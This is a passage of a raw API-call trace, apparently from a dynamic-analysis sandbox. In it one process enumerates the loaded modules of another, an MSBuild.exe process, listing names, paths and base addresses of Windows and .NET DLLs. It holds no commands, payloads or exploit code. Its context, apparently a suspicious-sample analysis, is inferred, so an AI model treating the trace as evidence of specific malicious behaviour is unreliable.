lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll")) returned 0x6c [0057.734] GetModuleInformation (in: hProcess=0x514, hModule=0x739c0000, lpmodinfo=0x26bec50, cb=0xc | out: lpmodinfo=0x26bec50*(lpBaseOfDll=0x739c0000, SizeOfImage=0x52000, EntryPoint=0x739c14be)) returned 1 [0057.735] GetLastError () returned 0x2 [0057.735] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x739c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasapi32.dll") returned 0xc [0057.736] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x739c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")) returned 0x20 [0057.737] GetModuleInformation (in: hProcess=0x514, hModule=0x74720000, lpmodinfo=0x26bfd54, cb=0xc | out: lpmodinfo=0x26bfd54*(lpBaseOfDll=0x74720000, SizeOfImage=0x15000, EntryPoint=0x747212de)) returned 1 [0057.738] GetLastError () returned 0x2 [0057.738] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74720000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasman.dll") returned 0xa [0057.739] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74720000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")) returned 0x1e [0057.740] GetModuleInformation (in: hProcess=0x514, hModule=0x74710000, lpmodinfo=0x26c0e50, cb=0xc | out: lpmodinfo=0x26c0e50*(lpBaseOfDll=0x74710000, SizeOfImage=0xd000, EntryPoint=0x74711326)) returned 1 [0057.740] GetLastError () returned 0x2 [0057.740] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74710000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rtutils.dll") returned 0xb [0057.741] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74710000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")) returned 0x1f [0057.742] GetModuleInformation (in: hProcess=0x514, hModule=0x73980000, lpmodinfo=0x26c1f4c, cb=0xc | out: lpmodinfo=0x26c1f4c*(lpBaseOfDll=0x73980000, SizeOfImage=0x3c000, EntryPoint=0x7398145d)) returned 1 [0057.743] GetLastError () returned 0x2 [0057.743] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mswsock.dll") returned 0xb [0057.744] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")) returned 0x1f [0057.745] GetModuleInformation (in: hProcess=0x514, hModule=0x73970000, lpmodinfo=0x26c3048, cb=0xc | out: lpmodinfo=0x26c3048*(lpBaseOfDll=0x73970000, SizeOfImage=0x5000, EntryPoint=0x739715df)) returned 1 [0057.746] GetLastError () returned 0x2 [0057.746] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73970000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wshtcpip.dll") returned 0xc [0057.747] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73970000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wshtcpip.dll" (normalized: "c:\\windows\\system32\\wshtcpip.dll")) returned 0x20 [0057.748] GetModuleInformation (in: hProcess=0x514, hModule=0x73960000, lpmodinfo=0x26c414c, cb=0xc | out: lpmodinfo=0x26c414c*(lpBaseOfDll=0x73960000, SizeOfImage=0x6000, EntryPoint=0x73961673)) returned 1 [0057.749] GetLastError () returned 0x2 [0057.749] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wship6.dll") returned 0xa [0057.750] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")) returned 0x1e [0057.751] GetModuleInformation (in: hProcess=0x514, hModule=0x736e0000, lpmodinfo=0x26c5248, cb=0xc | out: lpmodinfo=0x26c5248*(lpBaseOfDll=0x736e0000, SizeOfImage=0x58000, EntryPoint=0x736e13b4)) returned 1 [0057.752] GetLastError () returned 0x2 [0057.752] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="winhttp.dll") returned 0xb [0057.753] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")) returned 0x1f [0057.754] GetModuleInformation (in: hProcess=0x514, hModule=0x73910000, lpmodinfo=0x26c6344, cb=0xc | out: lpmodinfo=0x26c6344*(lpBaseOfDll=0x73910000, SizeOfImage=0x4f000, EntryPoint=0x73911452)) returned 1 [0057.755] GetLastError () returned 0x2 [0057.755] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73910000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="webio.dll") returned 0x9 [0057.756] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73910000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")) returned 0x1d [0057.757] GetModuleInformation (in: hProcess=0x514, hModule=0x736c0000, lpmodinfo=0x26c7438, cb=0xc | out: lpmodinfo=0x26c7438*(lpBaseOfDll=0x736c0000, SizeOfImage=0x1c000, EntryPoint=0x736ca431)) returned 1 [0057.758] GetLastError () returned 0x2 [0057.758] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IPHLPAPI.DLL") returned 0xc [0057.760] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")) returned 0x20 [0057.761] GetModuleInformation (in: hProcess=0x514, hModule=0x736b0000, lpmodinfo=0x26c853c, cb=0xc | out: lpmodinfo=0x26c853c*(lpBaseOfDll=0x736b0000, SizeOfImage=0x7000, EntryPoint=0x736b128d)) returned 1 [0057.762] GetLastError () returned 0x2 [0057.762] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WINNSI.DLL") returned 0xa [0057.763] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WINNSI.DLL" (normalized: "c:\\windows\\system32\\winnsi.dll")) returned 0x1e [0057.764] GetModuleInformation (in: hProcess=0x514, hModule=0x736a0000, lpmodinfo=0x26c9848, cb=0xc | out: lpmodinfo=0x26c9848*(lpBaseOfDll=0x736a0000, SizeOfImage=0xd000, EntryPoint=0x736a2012)) returned 1 [0057.765] GetLastError () returned 0x2 [0057.765] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x736a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc6.DLL") returned 0xd [0057.766] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x736a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc6.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")) returned 0x21 [0057.767] GetModuleInformation (in: hProcess=0x514, hModule=0x73680000, lpmodinfo=0x26ca94c, cb=0xc | out: lpmodinfo=0x26ca94c*(lpBaseOfDll=0x73680000, SizeOfImage=0x12000, EntryPoint=0x73683271)) returned 1 [0057.768] GetLastError () returned 0x2 [0057.768] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73680000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc.DLL") returned 0xc [0057.770] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73680000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")) returned 0x20 [0057.771] GetModuleInformation (in: hProcess=0x514, hModule=0x73670000, lpmodinfo=0x26cba50, cb=0xc | out: lpmodinfo=0x26cba50*(lpBaseOfDll=0x73670000, SizeOfImage=0x8000, EntryPoint=0x736734d3)) returned 1 [0057.772] GetLastError () returned 0x2 [0057.772] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73670000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="credssp.dll") returned 0xb [0057.773] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73670000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")) returned 0x1f [0057.774] GetModuleInformation (in: hProcess=0x514, hModule=0x74d00000, lpmodinfo=0x26ccb4c, cb=0xc | out: lpmodinfo=0x26ccb4c*(lpBaseOfDll=0x74d00000, SizeOfImage=0x27000, EntryPoint=0x74d058b9)) returned 1 [0057.775] GetLastError () returned 0x2 [0057.775] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74d00000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CFGMGR32.dll") returned 0xc [0057.776] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74d00000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CFGMGR32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")) returned 0x20 [0057.777] GetModuleInformation (in: hProcess=0x514, hModule=0x73620000, lpmodinfo=0x26cdc50, cb=0xc | out: lpmodinfo=0x26cdc50*(lpBaseOfDll=0x73620000, SizeOfImage=0x44000, EntryPoint=0x736363f9)) returned 1 [0057.778] GetLastError () returned 0x2 [0057.779] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73620000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="DNSAPI.dll") returned 0xa [0057.780] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73620000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\DNSAPI.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")) returned 0x1e [0057.781] GetModuleInformation (in: hProcess=0x514, hModule=0x73610000, lpmodinfo=0x26ced4c, cb=0xc | out: lpmodinfo=0x26ced4c*(lpBaseOfDll=0x73610000, SizeOfImage=0x6000, EntryPoint=0x736114b2)) returned 1 [0057.782] GetLastError () returned 0x2 [0057.782] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73610000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasadhlp.dll") returned 0xc [0057.783] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73610000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")) returned 0x20 [0057.785] GetModuleInformation (in: hProcess=0x514, hModule=0x735d0000, lpmodinfo=0x26cfe50, cb=0xc | out: lpmodinfo=0x26cfe50*(lpBaseOfDll=0x735d0000, SizeOfImage=0x38000, EntryPoint=0x735d990e)) returned 1 [0057.786] GetLastError () returned 0x2 [0057.786] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x735d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fwpuclnt.dll") returned 0xc [0057.787] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x735d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\fwpuclnt.dll" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")) returned 0x20 [0057.788] GetModuleInformation (in: hProcess=0x514, hModule=0x735c0000, lpmodinfo=0x26d0f54, cb=0xc | out: lpmodinfo=0x26d0f54*(lpBaseOfDll=0x735c0000, SizeOfImage=0x5000, EntryPoint=0x735c11d0)) returned 1 [0057.789] GetLastError () returned 0x2 [0057.789] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x735c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shfolder.dll") returned 0xc [0057.791] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x735c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll")) returned 0x20 [0057.792] GetModuleInformation (in: hProcess=0x514, hModule=0x75140000, lpmodinfo=0x26d2058, cb=0xc | out: lpmodinfo=0x26d2058*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0057.793] GetLastError () returned 0x2 [0057.793] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75140000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0057.794] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75140000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0057.797] EnumProcessModules (in: hProcess=0x514, lphModule=0x273844c, cb=0x100, lpcbNeeded=0x26e998 | out: lphModule=0x273844c, lpcbNeeded=0x26e998) returned 1 [0057.799] GetLastError () returned 0x2 [0057.799] EnumProcessModules (in: hProcess=0x514, lphModule=0x2738558, cb=0x200, lpcbNeeded=0x26e998 | out: lphModule=0x2738558, lpcbNeeded=0x26e998) returned 1 [0057.800] GetLastError () returned 0x2 [0057.800] GetModuleInformation (in: hProcess=0x514, hModule=0x400000, lpmodinfo=0x2738798, cb=0xc | out: lpmodinfo=0x2738798*(lpBaseOfDll=0x400000, SizeOfImage=0x58000, EntryPoint=0x45224e)) returned 1 [0057.800] GetLastError () returned 0x2 [0057.800] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x400000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSBuild.exe") returned 0xb [0057.800] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x400000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe")) returned 0x39 [0057.800] GetModuleInformation (in: hProcess=0x514, hModule=0x77130000, lpmodinfo=0x27398e8, cb=0xc | out: lpmodinfo=0x27398e8*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0057.800] GetLastError () returned 0x2 [0057.800] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x77130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0057.801] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x77130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0057.801] GetModuleInformation (in: hProcess=0x514, hModule=0x74b20000, lpmodinfo=0x273a9dc, cb=0xc | out: lpmodinfo=0x273a9dc*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0057.801] GetLastError () returned 0x2 [0057.801] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0057.801] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0057.801] GetModuleInformation (in: hProcess=0x514, hModule=0x76c20000, lpmodinfo=0x273bad8, cb=0xc | out: lpmodinfo=0x273bad8*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0057.802] GetLastError () returned 0x2 [0057.802] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x76c20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0057.802] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x76c20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0057.802] GetModuleInformation (in: hProcess=0x514, hModule=0x75960000, lpmodinfo=0x273cbdc, cb=0xc | out: lpmodinfo=0x273cbdc*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0057.802] GetLastError () returned 0x2 [0057.802] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0057.802] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0057.803] GetModuleInformation (in: hProcess=0x514, hModule=0x74d40000, lpmodinfo=0x273dd18, cb=0xc | out: lpmodinfo=0x273dd18*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0057.803] GetLastError () returned 0x2 [0057.803] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74d40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0057.803] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74d40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0057.803] GetModuleInformation (in: hProcess=0x514, hModule=0x74e10000, lpmodinfo=0x273ee1c, cb=0xc | out: lpmodinfo=0x273ee1c*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0057.804] GetLastError () returned 0x2 [0057.804] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74e10000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0057.804] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74e10000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0057.804] GetModuleInformation (in: hProcess=0x514, hModule=0x75740000, lpmodinfo=0x273ff18, cb=0xc | out: lpmodinfo=0x273ff18*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0057.804] GetLastError () returned 0x2 [0057.804] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75740000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0057.805] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75740000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0057.805] GetModuleInformation (in: hProcess=0x514, hModule=0x75ee0000, lpmodinfo=0x2741014, cb=0xc | out: lpmodinfo=0x2741014*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0057.805] GetLastError () returned 0x2 [0057.805] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75ee0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0057.805] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75ee0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0057.806] GetModuleInformation (in: hProcess=0x514, hModule=0x74c90000, lpmodinfo=0x2742160, cb=0xc | out: lpmodinfo=0x2742160*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0057.806] GetLastError () returned 0x2 [0057.806] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74c90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0057.806] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74c90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0057.806] GetModuleInformation (in: hProcess=0x514, hModule=0x74c80000, lpmodinfo=0x274325c, cb=0xc | out: lpmodinfo=0x274325c*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0057.807] GetLastError () returned 0x2 [0057.807] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74c80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0057.807] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74c80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0057.807] GetModuleInformation (in: hProcess=0x514, hModule=0x74aa0000, lpmodinfo=0x2744360, cb=0xc | out: lpmodinfo=0x2744360*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0057.808] GetLastError () returned 0x2 [0057.808] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74aa0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0057.808] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74aa0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0057.808] GetModuleInformation (in: hProcess=0x514, hModule=0x75340000, lpmodinfo=0x2745498, cb=0xc | out: lpmodinfo=0x2745498*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0057.809] GetLastError () returned 0x2 [0057.809] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75340000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0057.809] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75340000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0057.809] GetModuleInformation (in: hProcess=0x514, hModule=0x75ad0000, lpmodinfo=0x2746594, cb=0xc | out: lpmodinfo=0x2746594*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0057.810] GetLastError () returned 0x2 [0057.810] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75ad0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0057.810] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75ad0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0057.810] GetModuleInformation (in: hProcess=0x514, hModule=0x74f40000, lpmodinfo=0x2747688, cb=0xc | out: lpmodinfo=0x2747688*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0057.811] GetLastError () returned 0x2 [0057.811] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74f40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0057.811] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74f40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0057.811] GetModuleInformation (in: hProcess=0x514, hModule=0x75130000, lpmodinfo=0x2748784, cb=0xc | out: lpmodinfo=0x2748784*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0057.812] GetLastError () returned 0x2 [0057.812] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0057.812] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0057.812] GetModuleInformation (in: hProcess=0x514, hModule=0x75090000, lpmodinfo=0x2749870, cb=0xc | out: lpmodinfo=0x2749870*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0057.813] GetLastError () returned 0x2 [0057.813] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75090000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0057.813] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75090000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0057.814] GetModuleInformation (in: hProcess=0x514, hModule=0x75b60000, lpmodinfo=0x274a9f4, cb=0xc | out: lpmodinfo=0x274a9f4*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0057.814] GetLastError () returned 0x2 [0057.814] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75b60000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0057.814] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75b60000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0057.815] GetModuleInformation (in: hProcess=0x514, hModule=0x75150000, lpmodinfo=0x274bae8, cb=0xc | out: lpmodinfo=0x274bae8*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0057.815] GetLastError () returned 0x2 [0057.815] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75150000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0057.816] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75150000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0057.816] GetModuleInformation (in: hProcess=0x514, hModule=0x74a90000, lpmodinfo=0x274cbdc, cb=0xc | out: lpmodinfo=0x274cbdc*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0057.816] GetLastError () returned 0x2 [0057.816] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74a90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0057.817] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74a90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0057.817] GetModuleInformation (in: hProcess=0x514, hModule=0x74000000, lpmodinfo=0x274dcd8, cb=0xc | out: lpmodinfo=0x274dcd8*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0057.818] GetLastError () returned 0x2 [0057.818] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74000000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0057.818] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74000000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0057.819] GetModuleInformation (in: hProcess=0x514, hModule=0x749f0000, lpmodinfo=0x274ee10, cb=0xc | out: lpmodinfo=0x274ee10*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0057.819] GetLastError () returned 0x2 [0057.819] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749f0000, lpBaseName=0x787820, nSize=0x800 | out: 